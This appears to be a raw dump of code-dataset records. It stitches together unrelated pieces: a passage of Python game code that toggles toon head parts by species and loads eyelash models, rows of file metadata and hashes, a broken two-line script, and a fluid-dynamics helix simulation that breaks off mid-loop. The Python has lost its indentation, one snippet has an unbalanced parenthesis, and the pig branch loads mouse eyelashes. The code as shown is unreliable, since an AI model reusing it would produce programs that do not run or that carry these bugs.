muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'hss': # Small Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Monkeys
elif toonType == 'mols': # Big Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'moll': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'mosl': # Small Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'moss': # Small Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Mice (thank goodness they only have 2 types)
elif toonType == 'mils': # Big Head, Small Muzzle
# All the stuff we hide
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'miss': # Small head, Small Muzzle
# All the stuff we hide
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Pigs
elif toonType == 'pls': # Big Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'pll': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'psl': # Small Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'pss': # Small Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Rabbits
elif toonType == 'rls': # Big head, Small Ears
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'rll': # Big head, Small Ears
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'rsl': # Small head, Big Ears
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'rss': # Small head, Big Ears
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Generate the eyelashes if wanted
if has_eyelashes:
self.createEyelashes(species, head_type)
else:
pass
def createEyelashes(self, species, head_type):
'''Creates eyelash model based on species and head type'''
if species == 'b' and head_type[0] == 'l': # Bear and long head
eyelashes = loader.loadModel('phase_3/models/char/bear-lashes.bam').find('**/open-long')
elif species == 'b' and head_type[0] == 's': # Bear and small head
eyelashes = loader.loadModel('phase_3/models/char/bear-lashes.bam').find('**/open-short')
elif species == 'ca' and head_type[0] == 'l': # Cat and long head
eyelashes = loader.loadModel('phase_3/models/char/cat-lashes.bam').find('**/open-long')
elif species == 'ca' and head_type[0] == 's': # Cat and short head
eyelashes = loader.loadModel('phase_3/models/char/cat-lashes.bam').find('**/open-short')
elif species == 'cr' and head_type[0] == 'l': # Crocodile and long head
eyelashes = loader.loadModel('phase_3/models/char/crocodile-lashes.bam').find('**/open-long')
elif species == 'cr' and head_type[0] == 's': # Crocodile and short head
eyelashes = loader.loadModel('phase_3/models/char/crocodile-lashes.bam').find('**/open-short')
elif species == 'd' and head_type[0] == 'l': # Dogs and long head
eyelashes = loader.loadModel('phase_3/models/char/dog-lashes.bam').find('**/open-long')
elif species == 'd' and head_type[0] == 's': # Dogs and short head
eyelashes = loader.loadModel('phase_3/models/char/dog-lashes.bam').find('**/open-short')
elif species == 'de': # Deers only have one type of head, though they have eyelashes even for long heads, whichever those were. Interesting.
eyelashes = loader.loadModel('phase_3/models/char/deer-lashes.bam').find('**/open-short')
elif species == 'du' and head_type[0] == 'l': # Ducks and long head
eyelashes = loader.loadModel('phase_3/models/char/duck-lashes.bam').find('**/open-long')
elif species == 'du' and head_type[0] == 's': # Ducks and short head
eyelashes = loader.loadModel('phase_3/models/char/duck-lashes.bam').find('**/open-short')
elif species == 'h' and head_type[0] == 'l': # Horse and long head
eyelashes = loader.loadModel('phase_3/models/char/horse-lashes.bam').find('**/open-long')
elif species == 'h' and head_type[0] == 's': # Horse and short head
eyelashes = loader.loadModel('phase_3/models/char/horse-lashes.bam').find('**/open-short')
elif species == 'mo' and head_type[0] == 'l': # Monkey and long head
eyelashes = loader.loadModel('phase_3/models/char/monkey-lashes.bam').find('**/open-long')
elif species == 'mo' and head_type[0] == 's': # Monkey and short head
eyelashes = loader.loadModel('phase_3/models/char/monkey-lashes.bam').find('**/open-short')
elif species == 'mi' and head_type[0] == 'l': # Mouse and long head
eyelashes = loader.loadModel('phase_3/models/char/mouse-lashes.bam').find('**/open-long')
elif species == 'mi' and head_type[0] == 's': # Mouse and short head
eyelashes = loader.loadModel('phase_3/models/char/mouse-lashes.bam').find('**/open-short')
elif species == 'p' and head_type[0] == 'l': # Pig and long head
eyelashes = loader.loadModel('phase_3/models/char/mouse-lashes.bam').find('**/open-long')
elif species == 'p' and head_type[0] == 's': # Pig and short head
eyelashes = loader.loadModel('phase_3/models/char/mouse-lashes.bam').find('**/open-short')
elif species == 'r': # Since rabbits only have one type of eyes
eyelashes = loader.loadModel('phase_3/models/char/rabbit-lashes.bam').find('**/open-short')
# I have to make some changes here to make sure deers can work since they don't have different head types, only antler types.
if head_type[0] == 'l' and species != 'de' and species != 'ri' and species != 'r' and species != 'd':
eyelashes.reparentTo(self.head_model.find('**/eyes-long'))
elif head_type[0] == 's' and species != 'de' and species != 'ri' and species != 'r' and species != 'd':
eyelashes.reparentTo(self.head_model.find('**/eyes-short'))
elif species == 'de':
eyelashes.reparentTo(self.head_model.find('**/eyes-short'))
elif species == 'r' or species == 'd':
eyelashes.reparentTo(self.head_model.find('**/eyes'))
elif species == 'ri':
print("There are no eyelashes for Riggy!!!!!")
def removeHead(self):
self.head_model.getChildren().detach()
| 49.559187 | 148 | 0.556015 | 5,937 | 56,101 | 5.185447 | 0.039414 | 0.282076 | 0.221984 | 0.141948 | 0.932599 | 0.924186 | 0.920776 | 0.888163 | 0.887059 | 0.882641 | 0 | 0.002826 | 0.261938 | 56,101 | 1,131 | 149 | 49.603006 | 0.74069 | 0.072334 | 0 | 0.864629 | 0 | 0 | 0.279913 | 0.117568 | 0 | 0 | 0 | 0 | 0 | 1 | 0.005459 | false | 0.001092 | 0.002183 | 0 | 0.009825 | 0.002183 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
8914cac76a8f004f8d7766eabf32d0f098cfc311 | 59 | py | Python | conta.py | acboss/python | bb8b32cd90427ae7e97cdc2c270582be03f45771 | [
"Apache-2.0"
] | null | null | null | conta.py | acboss/python | bb8b32cd90427ae7e97cdc2c270582be03f45771 | [
"Apache-2.0"
] | null | null | null | conta.py | acboss/python | bb8b32cd90427ae7e97cdc2c270582be03f45771 | [
"Apache-2.0"
] | null | null | null | print(str.count('banana', 'a'))
print(str.count('banana')
| 14.75 | 31 | 0.661017 | 9 | 59 | 4.333333 | 0.555556 | 0.410256 | 0.666667 | 0.974359 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067797 | 59 | 3 | 32 | 19.666667 | 0.709091 | 0 | 0 | 0 | 0 | 0 | 0.224138 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 1 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
64f4e08b929fc82e1abdd6296a455560a56fc6a2 | 31 | py | Python | src/pypegasus_example/mod1.py | pegasus-isi/pypegasus-example | c4adf202dae8133073e8616a99bdf4c4baef1b4c | [
"Apache-2.0"
] | null | null | null | src/pypegasus_example/mod1.py | pegasus-isi/pypegasus-example | c4adf202dae8133073e8616a99bdf4c4baef1b4c | [
"Apache-2.0"
] | null | null | null | src/pypegasus_example/mod1.py | pegasus-isi/pypegasus-example | c4adf202dae8133073e8616a99bdf4c4baef1b4c | [
"Apache-2.0"
] | null | null | null | def y():
print("1" * 1000)
| 10.333333 | 21 | 0.451613 | 5 | 31 | 2.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.227273 | 0.290323 | 31 | 2 | 22 | 15.5 | 0.409091 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 8 |
8f25f773016c4ae69ffc2f36c7b930cf1dc046f1 | 20,980 | py | Python | head_Force/helix_strain_rate.py | pcmagic/stokes_flow | 464d512d3739eee77b33d1ebf2f27dae6cfa0423 | [
"MIT"
] | 1 | 2018-11-11T05:00:53.000Z | 2018-11-11T05:00:53.000Z | head_Force/helix_strain_rate.py | pcmagic/stokes_flow | 464d512d3739eee77b33d1ebf2f27dae6cfa0423 | [
"MIT"
] | null | null | null | head_Force/helix_strain_rate.py | pcmagic/stokes_flow | 464d512d3739eee77b33d1ebf2f27dae6cfa0423 | [
"MIT"
] | null | null | null | import sys
import petsc4py
petsc4py.init(sys.argv)
import numpy as np
import pickle
# from time import time
# from scipy.io import loadmat
# from src.stokes_flow import problem_dic, obj_dic
from src.geo import *
from petsc4py import PETSc
from src import stokes_flow as sf
from src import slender_body as slb
# from src.myio import *
from src.objComposite import *
# from src.myvtk import *
# from src.support_class import *
from codeStore import helix_common
def get_problem_kwargs(**main_kwargs):
problem_kwargs = helix_common.get_problem_kwargs(**main_kwargs)
OptDB = PETSc.Options()
hlx_ini_rot_theta = OptDB.getReal('hlx_ini_rot_theta', 0)
problem_kwargs['hlx_ini_rot_theta'] = hlx_ini_rot_theta
return problem_kwargs
def print_case_info(**problem_kwargs):
t1 = helix_common.print_case_info(**problem_kwargs)
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
PETSc.Sys.Print(' hlx_ini_rot_theta is %f' % hlx_ini_rot_theta)
return t1
def do_solve_base_flow(basei, problem, obj_comp, uw_Base_list, sumFT_Base_list):
problem.set_basei(basei)
problem.create_F_U()
problem.solve()
PETSc.Sys.Print('---> basei %d' % basei)
PETSc.Sys.Print(obj_comp.get_total_force())
ref_U = obj_comp.get_ref_U()
PETSc.Sys.Print('ref_u: %f %f %f' % (ref_U[0], ref_U[1], ref_U[2]))
PETSc.Sys.Print('ref_w: %f %f %f' % (ref_U[3], ref_U[4], ref_U[5]))
uw_Base_list.append(obj_comp.get_ref_U())
sumFT_Base_list.append(obj_comp.get_total_force())
return uw_Base_list, sumFT_Base_list
def do_solve_base_flow_iter(basei, problem, obj_comp, uw_Base_list, sumFT_Base_list):
problem.set_basei(basei)
problem.create_F_U()
problem.do_iterate3()
PETSc.Sys.Print('---> basei %d' % basei)
PETSc.Sys.Print(obj_comp.get_total_force())
ref_U = obj_comp.get_ref_U()
PETSc.Sys.Print('ref_u: %f %f %f' % (ref_U[0], ref_U[1], ref_U[2]))
PETSc.Sys.Print('ref_w: %f %f %f' % (ref_U[3], ref_U[4], ref_U[5]))
uw_Base_list.append(obj_comp.get_ref_U())
sumFT_Base_list.append(obj_comp.get_total_force())
return uw_Base_list, sumFT_Base_list
# @profile
def main_fun(**main_kwargs):
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
field_range = np.array([[-3, -3, -3], [3, 3, 3]])
n_grid = np.array([1, 1, 1]) * OptDB.getInt('n_grid', 10)
main_kwargs['field_range'] = field_range
main_kwargs['n_grid'] = n_grid
main_kwargs['region_type'] = 'rectangle'
problem_kwargs = get_problem_kwargs(**main_kwargs)
# matrix_method = problem_kwargs['matrix_method']
# pickProblem = problem_kwargs['pickProblem']
# fileHandle = problem_kwargs['fileHandle']
# save_vtk = problem_kwargs['save_vtk']
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
tail_obj_list = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs)
# PETSc.Sys.Print(problem_kwargs)
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
for tobj in tail_obj_list:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
problem = sf.StrainRateBaseForceFreeProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (0, 1, 2, 3, 4, 5, 6, 7, 8):
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
# active case
tail_comp.set_rel_U_list([np.zeros(6), ] * len(tail_obj_list))
basei = 9
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
pickle_dict = {'problem_kwargs': problem_kwargs,
'u_nodes': tail_comp.get_u_nodes(),
'f_nodes': tail_comp.get_f_nodes(),
'uw_Base_list': uw_Base_list,
'sumFT_Base_list': sumFT_Base_list, }
with open('%s.pickle' % fileHandle, 'wb') as handle:
pickle.dump(pickle_dict, handle, protocol=4)
PETSc.Sys.Print('save table_data to %s.pickle' % fileHandle)
return True
def main_fun_E(**main_kwargs):
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
problem_kwargs = get_problem_kwargs(**main_kwargs)
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
tail_obj_list = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs)
# PETSc.Sys.Print(problem_kwargs)
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
for tobj in tail_obj_list:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
problem = sf.StrainRateBaseForceFreeProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (1, 2, 3, 4, 5,):
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
return True
def main_fun_E_mirror(**main_kwargs):
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
problem_kwargs = get_problem_kwargs(**main_kwargs)
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
# PETSc.Sys.Print(problem_kwargs)
problem_kwargs0 = problem_kwargs.copy()
tail_obj_list0 = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs0)
tail_comp0 = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp0')
for tobj in tail_obj_list0:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp0.add_obj(obj=tobj, rel_U=np.zeros(6))
# tcenter0 = tail_comp0.get_center()
lt0 = problem_kwargs0['ph'] * problem_kwargs0['ch']
tail_comp0.move(np.array((0, 0, lt0 / 2 * 1.1)))
# tail_comp0.show_u_nodes(' ')
problem_kwargs1 = problem_kwargs.copy()
problem_kwargs1['left_hand'] = not problem_kwargs1['left_hand']
tail_obj_list1 = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs1)
tail_comp1 = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp1')
for tobj in tail_obj_list1:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp1.add_obj(obj=tobj, rel_U=np.zeros(6))
# tcenter1 = tail_comp1.get_center()
lt1 = problem_kwargs0['ph'] * problem_kwargs0['ch']
tail_comp1.move(np.array((0, 0, -lt1 / 2 * 1.1)))
# tail_comp1.show_u_nodes(' ')
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
for tobj in tail_comp0.get_obj_list():
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
for tobj in tail_comp1.get_obj_list():
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
# tail_comp.show_u_nodes(' ')
problem = sf.StrainRateBaseForceFreeProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (1, 2, 3, 4, 5,):
